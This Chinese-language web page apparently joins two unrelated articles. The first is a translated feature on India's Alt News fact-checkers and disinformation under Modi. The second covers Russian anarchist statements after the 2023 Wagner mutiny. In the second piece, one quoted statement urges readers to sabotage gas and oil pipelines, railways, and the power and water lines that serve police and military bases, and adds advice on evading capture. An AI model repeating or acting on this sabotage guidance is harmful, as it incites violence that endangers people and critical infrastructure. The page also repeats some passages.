"你知道蒙娜丽莎是个印度人吗？" 祖贝尔在页面上写道，旁边是一张被PS成穿着纱丽和宾迪的画像。他以 "SuSuSwamy"（在印地语中意为 "PeePee" Swamy）的名字发帖。帖子中说，《蒙娜丽莎》实际上是由 "我们的印度教祖先" 画的，并被命名为 "蒙娜-利-沙阿"。

"人们居然相信我！" 祖拜尔说，他仍然感到难以置信。他的讽刺品牌在日益敌对的网络氛围中提供了喘息的机会。这个 SuSuSwamy 账户很快积累了5万多名追随者。不久，真正的斯瓦米威胁要向 Facebook 发出法律通知。祖贝尔在页面上贴上了 "非官方" 字样，并继续愉快地工作。

2015年，祖拜尔在他的页面上使用了调查组织 "古吉拉特邦的真相" 的信息图，但没有注明出处。"我在 Facebook 上给他发了一条不太愉快的信息"，辛哈笑着回忆道。祖拜尔道歉了，两人开始交谈。他们发现彼此间有很多共同点：他们的技术背景，尽管他们都不是记者，但他们都在快速变化的印度媒体世界中开辟了自己的天地。他们热爱政治。他们相信要对人负责。而且，他们都有很强的动力 —— 每个人都在维持一个非常受欢迎的网络形象，同时还在做全职工作。

经过多次交谈，两人发现他们甚至有一个共同的愿景：让事情比他们发现的时候更好。但是怎么做呢？

第二年，也就是2016年，当祖拜尔因工作需要前往艾哈迈达巴德时，他找到了他的新朋友。两年前，父亲穆库尔·辛哈(Mukul Sinha)死于癌症，而普拉蒂克一直陪伴在他母亲的身边。祖拜尔、普拉蒂克和尼尔贾里谈到了合作，但直到夏天，他们的谈话才促成了Alt News 的成

立。

莫迪当选总理后，印度教暴徒对少数民族、低种姓人和达利特人（印度历史上被边缘化的社区）发动了一连串的致命攻击。2016年7月11日，古吉拉特邦的乌纳市见证了印度教恐怖的最新事件，一群人公开鞭打四名达利特人。8月5日，达利特人团体和支持者从艾哈迈达巴德出发，到300多公里外的乌纳进行抗议游行。辛哈和他的母亲一同前往，他在社交媒体上记录了这次为期10天的游行。

尽管游行规模很大，但主流媒体在很大程度上忽略了它。但辛哈的更新变得很受欢迎，#chalouna（“让我们去乌纳”）的标签开始流行。他不是第一次意识到，利用容易获得的技术—— 一部智能手机和一些社交媒体账户 —— 他已经能够填补媒体领域的一个漏洞，并引起人们对关键问题的关注。

如果您错了《在抗议活动中，媒体作为叙事矩阵的操纵者》

辛哈关于是否继续做合同制软件工程师的个人挣扎最终得到了解决。他想做一些真正有意义的事。

当辛哈在集会后再次见到祖拜尔时，他们提出了Alt News 的想法。虽然祖拜尔还没有准备好辞去工作，但他还是表现出了极大的热情。尼尔贾里负责文书工作；最初的种子资金来自于私人储蓄。不久之后，他们就有了第四个成员，他在网上叫 “Sam Jawed”，不愿透露姓名。

这个充满激情的团体开始为 Alt News 奠定了基础，在莫迪第一任期的几年里，其反虚假信息的使命更加贴切。“我们完全相信这一事业”，辛哈说。

虽然虚假信息的火焰在2016年已经在上升，但有一家公司无意中火上浇油。那一年，印度亿万富翁穆克什·安巴尼(Mukesh Ambani)推出了Jio，这是一个移动网络，为新用户提供免费的无限语音和4G数据试用期，所有这些都是以SIM卡的超低价格提供的。这一优惠迫使竞争对手大幅降低费率，使数以百万计的印度人首次能够负担得起和使用互联网。

印度农村见证了最大的转变，移动互联网渗透率在一年内增长了26%。三年后，印度的乡村将有2.27亿互联网用户。但是，虽然印度人突然拥有了廉价的无限数据，但他们中的许多人却没有任何工具来区分真实和虚假的在线内容。

缺乏计算机知识，在某些情况下，识字本身就创造了一群天真和柔弱的受众。Nirjhari Sinha 说："如果人们从朋友或家人那里得到转发，他们就会认为这是事实。它影响了很快就会充斥所有电子设备的虚假信息的形式"。"而这是很初级的"，辛哈说，"在美国，虚假信息涉及大量的故事制作；而在印度，它只是两三行文字和一张图片，都是为WhatsApp而不是网络浏览器定制的。"

到2016年Jio降低数据价格时，WhatsApp 在印度已经比世界其他任何地方都更受欢迎。有一项功能使 WhatsApp 上的信息很容易成为信息战的武器：能够将一条信息转发给200多人（WhatsApp 后来取消了这项功能，很大程度上是因为它在传播病毒性虚假信息方面的作用）。一段拼接的视频，或者一张骗人的图片，本来会让老练的互联网用户暂停，但却被许多印度人照单全收，只要点击几下，就能广泛流传。祖贝尔说："虚假信息在印度的兴起与 **WhatsApp** 直接相关。"

在Jio推出其低价数据套餐一个月后，另一个重大的数字转变很快发生。2016年11月，莫迪在国家电视台宣布，从第二天开始，该国最大的货币钞票将不再流通。此举表面上是为了打击所谓的洗钱活动，但是，却消除了印度86%的纸币。印度人急于兑换他们的旧纸币，在随后几天的混战中，网上流传着疯狂的谣言：比如 商店将提高基本商品的价格，新纸币上印有"纳米GPS芯片"，使政府能够追踪洗钱者。

然而，在最近几年内，这类虚假信息开始产生更严重的后果。今年仍在流传的一篇文章涉及到"baccha chors"的即将到来：就是儿童绑架者。这类经常以断章取义的视频形式出现的谣言，在2018年夏天开始流行起来。它们助长了人们对许多印度人从小就听说过的一种特殊妖怪的恐惧：一个神秘的坏人，绑架儿童以获取他们的器官。

Alt News 已经对三十多个这样的视频进行了事实核查，发现它们都是被操纵的，虚假的。然而，这些谣言已经导致至少**33**人被谋杀。

在辛哈看来，WhatsApp 的谣言是最能说明问题的例子，说明印度的互联网新手用户，尤其是农村腹地的用户，正在被那些最应该关心他们消费的信息的人所辜负。"政府可以竖起广告牌，也可以在广播中发布新闻，广播仍然非常受欢迎。但对政府来说，阻止虚假信息并不是一个优先事项"，辛哈说。

当涉及到社交媒体平台上的言论时，印度政府的立场很明确。2021年2月，在农民的反政府抗议活动中，Twitter 封锁了数百个账户，可能是应印度政府的要求，包括属于活动家和记者的账户。

在这里看到这场抗议活动《异议的收成》；在这里看到硅谷巨头如何帮助协助镇压异议人士《共谋侵犯人权，以保留进入中国以外最大的数字媒体用户市场的交易》

当月晚些时候，政府颁布了一项严厉的命令，给予它对该国所有社交媒体的实际控制权。4月，它加倍审查，指示 **Twitter** 删除记录印度最严重的 **Covid-19** 疫情规模的推文。虽然这些帖子在国外还能看到，但推特还是遵守了印度政府的审查要求。而对那些经常传播虚假信息的账户审查并没有采用同样的标准。观察家们最近才注意到该网站将印度政客的推文标记为虚假信息。推特将一名印度政府官员的推文标记为 “被操纵的媒体” 后，印度警方突袭了推特办公室

推特并不是唯一一个使虚假新闻在印度广泛传播的硅谷平台。早在2013年，社交媒体和印度教激进主义之间的联系就已经很明显了。同年9月，一段很可能是在巴基斯坦拍摄的视频被误传为显示穆斯林在印度杀害了印度人，这一误读助长了北方邦的暴乱；49人被杀，多达42000人流离失所。第二年，一名穆斯林在浦那市被殴打致死，原因是 Facebook 上流传的图片是被篡改的。而在去年，Facebook 的直播推动了2月在德里发生的反穆斯林大屠杀。祖贝尔说，“在印度，**Facebook** 没有做它应该做的哪怕**1%**的事来阻止仇恨，即使用户威胁要进行种族灭绝”。

虽然硅谷的平台往往未能解决印度的虚假信息问题，就像在大部分发展中国家一样，但辛哈的观点是务实的：“**Facebook** 的高层之一 **Shivnath Thukral**，担任印度的临时公共政策总监—— 曾经为莫迪运营一个政治宣传网站，这并不是巧合。他们雇用他是因为他的背景，而不是不顾他的背景” 。Facebook 的一位发言人否认了这一点。辛哈说，对于像 **Facebook** 这样的公司，与**BJP**的联系使业务更容易—— 甚至决定了是不是能有业务，“你不能成为政府的 **badbook**”。

辛哈说，Alt News 刚开始时，Facebook 的高管会给他打电话，讨论如何打击虚假信息。这似乎是个好机会，是直接解决平台上传播的虚假信息的潜在途径。但是，辛哈说，很快就发现，Facebook 把钱投入到外部事实核查业务中，以 “消除批评性评论”。他表示，那些受雇于 Facebook 的人，不太可能对其进行审查。

Facebook 发言人在给媒体的一份声明中说：“Facebook 是唯一一家与全球80多家事实核查机构合作的公司，将人们与可靠的信息联系起来，并通过强有力的警告标签、警报和其他通知提供背景信息”。

而 Alt News 从未加入 Facebook 的第三方事实核查行动，通话也随之

中断了。

去年11月，Alt News 与和 Facebook 合作的事实核查网站 BOOM 和 the Quint 同时进行了事实核查，以驳斥一个由BJP领导人在社交媒体上分享的视频，该视频被亲政府的新闻频道所转载。该视频声称显示一名穆斯林反对派政治家受到一群人的欢迎，他们高呼 “巴基斯坦万岁”，其潜台词是穆斯林政治家绝对会忠于穆斯林占多数的巴基斯坦，因此不值得信任。

事实核查结果公布后，Facebook 将该视频标记为 “虚假信息”。三天后，该标志被移除，Facebook 的一名代表告诉《印度快报》，该标志的应用是错误的，因为政客被豁免于该平台的第三方事实核查计划。

换句话说，政客可以随便撒谎。

Alt News 向 Facebook 的通信人员发送的电子邮件收到了一份答复，指出它有相同的政策。但是，在同一个月，Facebook 曾标记了当时的总统特朗普的一个帖子，尽管该帖子并没有被直接标记为虚假信息。而且，正如 **Alt News** 的调查显示，它还标记了其他政治人物的帖子，包括印度反对党领导人的帖子。同年发表的《华尔街日报》的一篇揭露文章强调了 **Facebook** 对执政的**BJP**党的偏爱。

辛哈说，这种双重标准可能是 “印度虚假信息的曲线根本没有变平” 的部分原因。刚开始的时候，主要是因为Alt News 的小团队每周要对大约七个虚假信息进行事实核查；现在他们有时在一天内发布同样数量的信息。在某些日子里，他们收到了多达1000份要求进行事实核查的请求，这些请求来自人们不确定是否真实的图片、视频和信息的接收方。

由于印度的许多虚假信息实际上只是仇恨言论，缺乏监督已经从根本上改变了社交媒体的面貌。祖贝尔说，某些政客为了吸引眼球，一次又一次地发布灭绝人性的帖子。那些渴望粉丝量的人嗅到了其中的潜力，纷纷效仿，结果形成了一个执迷于撒谎的网络生态系统，像 Vikas Phatak 这样的人，在网上被称为 Hindustani Bhau，在这个系统中蓬勃发展。法塔克因其仇视伊斯兰教和厌女症的咆哮而大受欢迎，以至于他被邀请参加一个著名的电视真人秀节目。祖拜尔说，这种关注鼓励他变得更加卑鄙。尽管如此，他的社交媒体账户还是被赋予了蓝V的标志。

2020年8月，Alt News 对法塔克语话的潜在影响非常关注，开始给社

交媒体高管打上标签，要求采取行动。他们的追随者扩大了这一呼吁，似乎迫使 Facebook 和 Instagram 暂停了 Phatak 的账户（他也已经从YouTube上被删除了）。

这个结果向 Alt News 证明了它已经知道的事实：社交媒体平台只对压力做出反应。“这也提醒我们，他们本来就很重要的责任范围已经扩大到了保持印度社交媒体的安全”。价值数十亿美元的科技公司实际上已将其责任外包给了一小部分人。

3月21日，印度各大报纸的读者发现自己在翻阅整版广告，上面有一张莫迪欢迎信徒参加昆布梅拉节的照片，这个印度教节日吸引了数百万朝圣者来到北部城镇哈里瓦。4月22日，总理的脸再次从头版上露出来。这一次，印度人民党领导人赞扬了他在当前选举中的领导能力。政治广告的数量似乎使印度处于第二波冠状病毒感染的边缘的报道相形见绌。

到了第二周，莫迪面临一连串的批评，包括来自专家和国际媒体的批评。然而，那些在几天前刊登了所有这些政治广告的报纸的反应是有限的。《印度快报》是印度人民党广告的受益者之一，它发表了一篇专栏文章，称与其抱怨政治集会（许多人将其称为刺激目前Covid-19病例激增的超级传播者事件），印度人应该感谢他们生活在一个举行选举的民主国家。

自上台以来，印度人民党政府一直试图利用广告来控制印度媒体。政府的广告价值数百万卢比，许多媒体依靠它们来维持生计。2019年，政府撤销了包括《印度时报》在内的三家主要英文报纸的广告，这似乎是对批评性报道的报复。印度时报因此损失了近15%的广告收入。

政府似乎还利用其与主要商业利益的接近作为筹码。有一次，印度新闻频道ABP在对莫迪的一句话进行事实核查后，突然撤销了由与莫迪关系密切的亿万富翁瑜伽师经营的 Patanjali 公司的广告。

独立新闻网站 The Wire 报道说，一位印度人民党高级领导人告诉一群记者，他计划“给ABP新闻一个教训”。在收入损失之后，报道事实核查的高调主播也离开了。（Patanjali 的一位高管在给记者的电子邮件中否认了撤消广告和事实核查之间的任何联系）。Nirjhari Sinha 说：“你在印度看到多少关于混乱现状的电视辩论？关于政府的彻底失败？几乎没有，因为政府是由大工业家养着的。”

笼罩着印度媒体机构的不仅仅是对失去广告的恐惧，还有对税收突击检查的恐惧。辛哈得到母亲用印地语中的 “sham dham dand bhed”

来描述政府与媒体的关系，即“劝说、收买、惩罚、和利用每一个弱点”。“这就是为什么人们不准备说真话”，她说。

政府的杠杆作用意味着对印度最客观的见解来自于 **Alt News** 这样的独立事实核查小组。该网站得到了班加罗尔的一个拨款组织—— 独立和公众支持的媒体基金会的财政支持。但工作人员的工资主要是通过他们大多数月份在社交媒体上开展的募捐活动来筹集的。有些捐款只有12美分，这是允许的最低金额，但他们仍然只需要大约两天时间就能筹集到他们所需的大部分资金。他们通过培训项目提高收入，并计划出版一本事实核查指南。

由于 Alt News 提出的问题具有探究性，该出版物已经产生了实际影响。一些被他们揭发为虚假信息的网站已经被关闭。有一次，在 Alt News 揭穿其前提后，政府不得不调查内政部发布的一张图片。主流媒体有时会转载 Alt News 的事实核查，似乎是为了弥补自己的失败。

该平台的成功迅速引来了审查。祖贝尔在 Alt News 任职的前几年，被一个匿名推特账户挖走，该账户传播他的私人照片，并诽谤性地指控他是中东植物人，“由来自迪拜的阿拉伯人资助”，他回忆道。去年，他成为两起刑事案件的目标，指控他骚扰和折磨一名未成年人。他将此案斥为“完全捏造”。而在2月，一个要求将祖贝尔和其他几名记者吊死的阴险视频在**Facebook**上流传，据辛哈说，**Facebook**并没有按照 **Alt News** 的要求将其撤下。该视频还出现在 **YouTube**、**WhatsApp**和**Twitter**上，一位**BJP**领导人将其分享给他的**10**多万名追随者。

这都是典型的人格暗杀和抹黑运动的做法，它们是人肉的结果，这就是为什么反抗者必需学会抵制人肉，方法《给活动家的反人肉指南》

祖拜尔经常是 Alt News 中的主要被骚扰对象，他是该组织最突出的穆斯林面孔，而总理的印度教民族主义支持者像秃鹰一样围着他转。“他们本可以对很多东西下手”，他说，“但他们选择了我”。多年来，他一直对这些虐待行为视而不见。但被吊死的视频震撼了祖贝尔。他的家人也一样，其中一些人建议他回到电信工程工作的安全地带。祖贝尔甚至短暂地考虑过这个问题，但最终，他还是坚持做 **Alt News**。“我的工作是有风险的”，他承认说，“但这是时代的需要。”

在与记者的多次谈话中，祖拜尔和普拉蒂克·辛哈都小心翼翼地避免提及他们的个人生活。如果他们曾经在他们的社交媒体平台上影射过这样的事，现在已经完全不会这样做了，以避免人肉威胁。祖拜尔的教

训很深刻。用来人肉他的照片是由 **Facebook** 的朋友泄露的。辛哈已将该网站的通信服务器转移到欧洲，那里的数据保护法更强。“祖拜尔从来没有犯罪”，尼尔贾里·辛哈说，“普拉蒂克也并没有犯罪。而政府不需要任何理由就可以把你送进监狱。”

印度目前正在努力应对具有破坏性的第二波Covid-19。政府缺乏问责制和准备工作，迫使人们众筹资源和信息。在推特上，印度人正在乞求抗病毒药物 remdesivir 和关于哪里可以买到氧气瓶的信息。这些绝望的请求至少可能被拥有大量听众的政府领导人放大，但它们在很大程度上被忽视，有时甚至被讽刺地贴上虚假的标签。4月27日，印度人民党的社交媒体负责人利用推特传播虚假信息，将大流行病的责任归咎于反对派政治家。第二天，据报道，印度的Covid-19死亡总数已超过20万。辛哈说：“他们甚至现在还在试图为莫迪打掩护”。

在国家面临最大挑战的时候，印度的虚假信息氛围会给 Alt News 的事实核查人员带来更多他们无法处理的工作。“如果政府不想让人们谈论核心问题，那他们就必然投资于仇恨”，辛哈说。

但辛哈感觉到自己的时间可能很短。他沉思道：“我确实相信，我们中的一些知名的公民记者—— 我不知道会是我还是祖贝尔—— 最终会进监狱。” ○

Fact-checking Modi’s India

原文

"看，他们害怕了！这是我们的机会" - 俄罗斯无政府主义者谈瓦格纳兵变 - iyouport

反抗者-寻求经验

这不是结束，而是开端。军事起义（兵变），即使没有成功，在历史上也往往是一个前兆，是一整个动荡过程的开始。主要事件（革命、政变、内战）将从现在开始逐渐展开。会有一个时间差。也并非百分百确保。但概率相当高。兵变当日最流行的新闻图片 - - 那个 "卡在马戏团大门口的坦克" - - 可能具体深刻的寓意……

呼吁加入瓦格纳 PMC 的海报不再那么重要了

勺子已经还给你了。但上面沾满了食物残渣和别人的唾沫，并且永远都洗不掉。你还愿意再用它吗？

这就是普京现在的状况。你可以和普里戈津谈判，甚至消灭他，但你不论如何都无法忘记这个故事。

普京政权现在将不再显得别无选择，甚至对那些忠心耿耿的公民来说也是如此，他们在上周还坚信乌克兰的战争和俄罗斯的稳定。

对俄罗斯的许多人来说，从 "为了俄罗斯的生存而反对西方集体" 的外部战争重新回归内部战争的机制越来越明显（正如我们在3月初时提醒的那样），不管他们对乌克兰和普京的战争有什么看法。

空气中再次弥漫着内战的味道，简直就像30年前一样。一场不公正的对外战争，只是为了让普京和他的朋友们保持权力，正在挑起一场内部战争，这将把该政权推下台。

普京曾经统一的权力正在分裂成大小不同的碎片，就像冰雪女王的镜子那样，镜子的大碎片落在谁的手里，谁就会为控制这些碎片和扩大他们控制的领土而斗争。这就是麻烦所在。

失败的国家 —— 无法正常履行其某些职能的失败国家 —— 的权力斗争大致就是这样。例如，在苏丹或尼加拉瓜这样的国家，它们已经失去了对暴力的垄断。俄罗斯正在迅速变得非洲化。这不仅仅是一个比喻。一位金融家在6月24日发布的一段话中写道："即使叛乱被迅速平息，它发生了的事实也已经使俄罗斯市场与索马里或苏丹处于同一水平"。是的，苏丹快速反应部队和军队之间的冲突是最接近普里戈津兵变的类似事件。

欢迎来到后普京时代的俄罗斯!

这不是一个最令人愉快的也不是最安全的时代。但独裁政权往往就是这样结束的 —— 一个不稳定的平衡期，此时权力似乎躺在路上，捡起来比守住更容易。

呼吁加入瓦格纳的海报不再那么重要了

以下文字发布于兵变当日：

> 在狗咬狗之外：关于这场军事政变对革命者来说意味着什么——
>
> 革命者首先要看清局面，尤其是局面中的可利用价值：
>
> 一场未遂的政变给国家带来了压力，分散了统治者的力量。决策周期和指挥链被紧迫的问题所堵塞。
>
> 由于国家内部的冲突，以前支配人们行为的核心忠诚度被分裂了。混乱和不确定性以雪崩的方式增长。
>
> 然后是机遇和风险模型：
>
> 首先，在这样的时候，现实变得可塑性更强。
>
> 其次，当然，风险也会变得更高！国家会调动一切力量，对任何威胁做出歇斯底里的反应。政变者可能没有意识到用军队对付平民的内在问题。
>
> 然而。如果自由主义运动能有力量，现在它就可以致力于推动自己的议程。至少要表明自己的身份。也许赢回事业不是为了赢，而是为了获得对未来的影响。

> 这里是对全世界所有反抗者的警示：当消息铺天盖地的时候，我们更有理由去反思自己—— 为什么我们没有事先为这样的场合准备好可充分利用它的计划？我们要如何为下一个混乱时期培养肌肉？因为这很可能只是 动荡年代的开始。

这不是结束，而是开端。军事起义（兵变），即使没有成功，在历史上也往往是一个前兆，是一整个动荡过程的开始。主要事件（革命、政变、内战）将从现在开始逐渐展开。会有一个时间差。也并非百分百确保。但概率相当高。兵变当日最流行的新闻图片—— 那个 “卡在马戏团大门口的坦克”—— 可能具体深刻的寓意……

以下内容发布于兵变的最初时段 ——

> 「

卡在马戏团大门里的坦克。该马戏团与南部军区总部的一个外墙接壤。作为整件事中最引人注目的新闻细节，它几乎可以被称为对整个后苏联时代的隐喻。

2023年6月24日星期六，世界被俄罗斯的兵变消息惊醒。

以极端残暴而闻名全球的军阀叶夫根尼·普里戈津和他的法西斯准军事部队瓦格纳PMC被认为已经叛变，正在向莫斯科推进。甚至传出普京已逃离莫斯科的消息。

全国各地的无政府主义者都在争先恐后地准备好应对措施—— 无论民事的还是武装的 —— 以应对俄罗斯国家的崩溃和极端民族主义机器的不同派别之间全面冲突的前景。与此同时，白俄罗斯人也开始公开谈论推翻他们自己的小独裁者，乌克兰军队抓住机会在扎波罗热和顿巴斯击退入侵者。

但在所有人都能对新形势有所了解之前，一切就结束了。很多人对结果感觉惊讶，并猜测出多种可能性。为此我们更新了一个说明，来解读这件事。

我们在说明中首先强调它是兵变不是政变，并且普里戈津很可能没有打算也基本无法夺权。对于有疑问的朋友，我们将在下面简单解释这件事，总结这场兵变以及它为什么会以这种方式结束。

1、兵变行动并不是为了夺取政权或向克里姆林宫进军。

很多分析人士倾向于采取马克斯·韦伯的“国家”概念来理解瓦格纳与克里姆林宫的抗衡，这本身没有错。正如韦伯早在1918年所说，国家是“一个声称（通常是已经成功地）垄断了特定领土内的合法人身暴力的组织”。2022年2月24日之后的俄罗斯国家一开始就使其领土不被界定。由于试图维持对这块领土的控制变得越来越有问题，俄罗斯国家越来越多地将其对暴力的垄断权外包给私人军事公司。如果私人军事公司处于国家的完全控制之下，并且国家能够应对其职能，那么这一发展似乎并不预示着俄罗斯国家有什么危险。然而，当这个国家无法解决所谓的 “特别军事行动” 的问题时，就加强了私营军事公司的自主权，反过来，它开始失控。另一方面，私营军事公司的暴力开始获得合法性，因为它被认为是国家行动的一个更有效的替代方案。因此，私营军事公司试图接管国家是这一发展的必然结果。

逻辑的确如此。但发动兵变的动机不在这里。普里戈津不是由于足够强大到可以对抗国家时采取的反叛行动，相反，普里戈津的兵变是出于绝望，他被踢出了乌克兰，没有办法继续完全维持瓦格纳（几个月内他将很难再养活几万人马）。在这样的环境中，他觉得几乎整个国家机器都在反对他，普京也不理会他，而且公开支持他最危险的敌人。

2、这里的计划是制造巨大的噪音，引起普京的注意，并为他继续工作讨价还价，争取舒适的条件—— 角色地位、安全和金钱。

3、普里戈津本就不太可能直接成功。因为简单地将治理国家的所有杠杆和按钮从普京转移到普里戈金极为困难，这不是关于一个军阀的“治理能力” 问题。普京的地位基于过去几十年形成的许多因素，是由于这些因素，普京的地位和资源的许多组成部分无法转移到另一个人身上，更不用说普里戈津这样的人了，更不会因为兵变而下台。

但普里戈津成功开启了一个动荡年代，正如本文一开始所解释的，普京主义从此开始动摇，一切皆有可能。

4、假设一下，假设出现奇迹，普里戈津推翻了普京，那结果是什么？那将会出现一个岔路口。每个人都记得公开的大锤处决，瓦格纳PMC中的残酷纪律和死亡崇拜，顿巴斯的血腥袭击—— 所有的先决条件都存在，普里戈津无疑将建立一个比普京更猛烈的法西斯主义。此外，众所周知，有许多纳粹分子在普里戈津的机构中工作。

5、如果你对哥伦比亚大毒枭巴勃罗·埃斯科瓦尔了解甚多，你会发现他与普里戈津有许多相似之处。像埃斯科巴和普里戈津这样的人往往是在官方权力被削弱的情况下出现的。而在兵变过程中，所有人都看

到了俄罗斯联邦的真实权力状况。即使普里戈津因其无礼的滑稽行为受到充分惩罚，普京要想继续扮演“国父”的角色也会越来越困难了。

6、这场兵变已经从物质上和心理上削弱了普京独裁政权的铁板。即使叛乱被击败，也不会使局势恢复到以前的稳定和对普京的坚定性信念了。普里戈津的失败甚至不会恢复现政权有意识和无意识的支持者们所坚持的对明天的任何脆弱的信心水平。这就是我们强调的两个影响中的“长期影响”。是对革命者来说最值得摩拳擦掌的地方。

7、我们对“停战”这个描述保持怀疑。说成“休战”可能更合适一些，正如我们此前强调的：俄罗斯联邦在达到其生存所需的边界之前不会停止—— 即 苏联的边界。并·不·是因为Z想把联盟作为一个政治项目来恢复，而是因为，联盟的边界是俄罗斯历史上最·有·利·可·图和最·安·全的边界。只要民族国家仍然是指导原则，这一切就不会改变。

不止俄罗斯，整个后苏联时代的噩梦都是国家系统导致的。停战当然至关重要并且紧迫，但在没能解决根本性问题之前，“停战”只是暂时的。

7、综上，再一次，此事带来的机遇是唯一重要的事。对全世界暴政的反抗者来说都是如此！不要再允许那些通过胡乱猜测来转移注意力的垃圾信息干扰您的意识了，没必要花自己的时间帮别人赚钱。

以下说明文字发布于6月25日：

> 对于新一季的 Black Mirror，看到有中国朋友在评论该剧，那么您是否注意到了其中的第5集“Demon79”，剧中出现了一本书的封面，女主角正在阅读的那本书《Creative visualisation》1978年出版。这是一个经典的心理学概念，它也恰好与昨天瓦格纳的故事有关。是关于为什么如此多人搞错了状况。

为此，以下将翻译无政府主义组织的声明。

6月24日早些时候，弗拉基米尔·普京就瓦格纳私营军事公司正在进行的叛乱向俄罗斯社会发表讲话，称叶夫根尼·普里戈津的叛乱正在“将国家推向无政府状态和自相残杀”。

这是对词语的误用。自相残杀长期以来一直都是普京治下的规则。拷打和暗杀持不同政见者就是自相残杀；入侵乌克兰就是自相残杀。瓦格纳公司和俄罗斯军队长期以来都参与了自相残杀。而无政府状态恰恰是自相残杀的反面：它是人们不再争相统治对方时的状态。只有极权主义才总是会导致权力的血腥冲突。

看看俄罗斯的情况，人们不禁想到今年早些时候苏丹军队和快速反应部队之间爆发的内战。为了镇压强大的社会解放运动，政府为快速反应部队的雇佣兵提供装备，最后却要与他们争夺对国家的控制权。

这种广泛的暴力是军事化不可避免的最终结果。随着政府和企业越来越多地依靠蛮力来镇压社会动荡，将越来越多的资源用于警察和私人保安，他们正在亲手为规模越来越大的灾难性内战创造条件。

如果我们不能成功地在全球范围内改变我们社会的进程，今天在苏丹和俄罗斯爆发的内战明天很可能会在其他地方爆发。

在这里，我们匆匆翻译了俄罗斯无政府主义团体的三个声明。所有这些团体都是地下团体，这是必然的。第一个是在西伯利亚；第二个是已经因其出色的游击战术而“闻名的”无政府主义-共产主义战斗组织；第三个是Avtonom的编辑部，可以说是俄罗斯现存的最重要的无政府主义出版平台。

伊尔库茨克无政府主义者运动

「图」

在目前围绕瓦格纳兵变的情况下，除了我们自己，没有任何一方可以选择。

对大部分人来说都是如此—— 无论是普京政权还是那些与之争夺权力的人，都不会以俄罗斯所有人民的利益行事。

此刻，我们可以为各种可能的结果做好准备。不能排除人民自卫队的可能性，在国内发生内战的情况下，人民自卫队的主要任务可能是组织人民的安全，以及提供食品和基本生活用品的后勤网络。

没有人应该对雇佣军编队和俄罗斯军队完全没有抵抗力，而我们大家可以使用的主要武器之一就是团结和互助。

同时，我们应该思考，如果目前的国家权力机构在伊尔库茨克市或整

个伊尔库茨克地区崩溃了，该怎么办？

我们主张就公共生活中所有最重要的问题，包括经济、供给、自然保护、人权、自卫、教育和城市服务，组织公开的人民委员会、集会和论坛。在所有这些结构中，我们希望看到妇女和原住民的独立委员会。

与此同时，我们正在观察局势的发展。普京已经在电视上说，他担心国家制度的破坏和“无政府状态”的出现！作为无政府主义者，我们可以说，独裁者害怕无政府状态是正确的：毕竟，这意味着他的权力和“俄罗斯世界”的理念将不复存在，相反，社会将开始按照自治、权力下放和邦联制的原则运作。

我们相信，无政府状态在这个国家还相当遥远。但在目前的情况下，我们并非无能为力；我们可以为任何可能发生的事情做好准备，并仔细观察是否会有一个有利于这里所有渴望自由、厌倦普京政权的人的时刻。我们希望所有考虑到这一点的人思考在这种情况下他们会怎么做，并与其他可以信任和依靠的人组成团队。

这是目前能做的最起码和最基本的事情。

以下文字发布于5月5日：

> 政客的游戏就是在公众能量的浪潮中冲浪的游戏。以俄罗斯为例，在目前的大浪中，有四个浪尖可供政客们保持漂浮状态：

无政府主义-共产主义战斗组织

「图」

我们确实已经进入了这个历史转折点的新阶段。早已很清楚的是，那些处于权力结构顶端的人很快就会开始啃食彼此；这只是一个时间问题。

现在，俄罗斯和国外的无政府主义和解放运动的主要任务是巩固现有的力量，获取所需的东西，分析时机，建立已经分崩离析的沟通渠道，并准备采取行动。

我们并不妄自菲薄：这一时刻的到来可能需要一些时间。从二月革命（期间将军们参与了推翻沙皇的行动）到十月革命，花了九个月时

间。从科尔尼洛夫叛乱到十月革命，两个月。

但有一点是清楚的。首先，直接武装对抗的时刻比以往任何时候都更近了。第二，普京政权和普里戈津都不是我们的朋友。在这场两个食人魔之间的斗争中，无政府主义者应该站远一点—— 让他们尽可能地互相放血。这样一来，他们将来就无法扰乱人们的生活了。

但这段等待时机的时间应该为我们带来好处。而且一直以来，每时每刻都要做好准备，增加行动的准备，但也要每时每刻分析形势，准备好开始行动，把一切抛在脑后，即使准备不足。因为比起提前开始急于求成更糟糕的是，在你可以将故事转向正确方向的时候，睡过头了。

此外，我们还想就现在呼吁袭击军事登记和征兵办公室以及其他政府建筑的话题发表一些看法。

我们坚决不同意这种呼吁。现在，敌人正准备击退攻击—— 不是来自游击队的攻击，而是来自携带武器的叛变者。现在攻击这些设施意味着浪费你自己的资源，实际上是赤手空拳地攻击敌人的坚固堡垒。

游击队必须在帝国脆弱的地方出击，而不是在帝国盔甲所在的地方。在敌人没有坚守的地方进行打击。因此，现在，可以攻击远离城市的物体。敌人把部队都聚集在一起进行防御？这意味着他们已经暴露了遥远的边界和通道。攻击天然气和石油管道，攻击通往军事设施的铁轨（但离那些设施很远），攻击为警察和军事基地供电的电线和水管。但不要攻击军事基地本身，因为敌人在那里等着呢。

或者，如果风险太大—— 把这个时间花在准备武装起义上。

现在，一个能够参与未来对抗的活泼而有战斗力的游击队员比一个向警察投掷简易弹药并被压力过大的警察击毙的游击队员，要重要一百倍。

还有，别忘了“反恐行动“制度。即使你决定不攻击警察，而是攻击5公里外的电线，在CTO制度下，在路上被抓的风险也会增加很多倍。理智地评估，不要承担不必要的风险。

Avtonom / 自主行动

「图」

现在，在发表这份声明的时候，我们仍然无法从相对长远的角度完全预测围绕“瓦格纳叛乱”事件的发展。但我们肯定可以预期两个看似相反的趋势：第一，对普通公民的镇压增强，不仅仅是国家安全部队在干这事了；第二，同时，混乱加剧，当对立的双方让人们面对他们自己制造的问题。

当然，普里戈津并不比普京好：现在一些法西斯分子正在与其他法西斯分子斗争。任何专制权力最终都会引起血腥的冲突。

在这种情况下，对自我组织、建立和加强基层社会联系以及互助的要求将会蔓延。人们会创造新的倡议，新的运动。无政府主义者的任务是尽一切努力帮助创建和参与基层结构，创建新的协会并加强现有协会之间的互动。

我们已经写过，在“瓦格纳派”和“官方”国家机构之间的冲突中，没有“我们这一方”。在正在进行的争吵中，所有的人都只追求自己的利益，只会为自己辩护。对所有其他人来说，最好不要让自己在别人的斗争中冒险，如果可能的话，要远离碰撞点。

但是，如果我们想创造一个替代这两个怪物的方案，那么我们必须学会团结起来解决我们的问题，支持结束战争和镇压的斗争，保护自己免受暴力侵害，维护我们的利益和权利。只有这样，我们才能参与建设一个新的社会，以取代破产的政权和它所养成的暴徒团伙。

我们与伊尔库茨克的同志们在一起，他们写道：

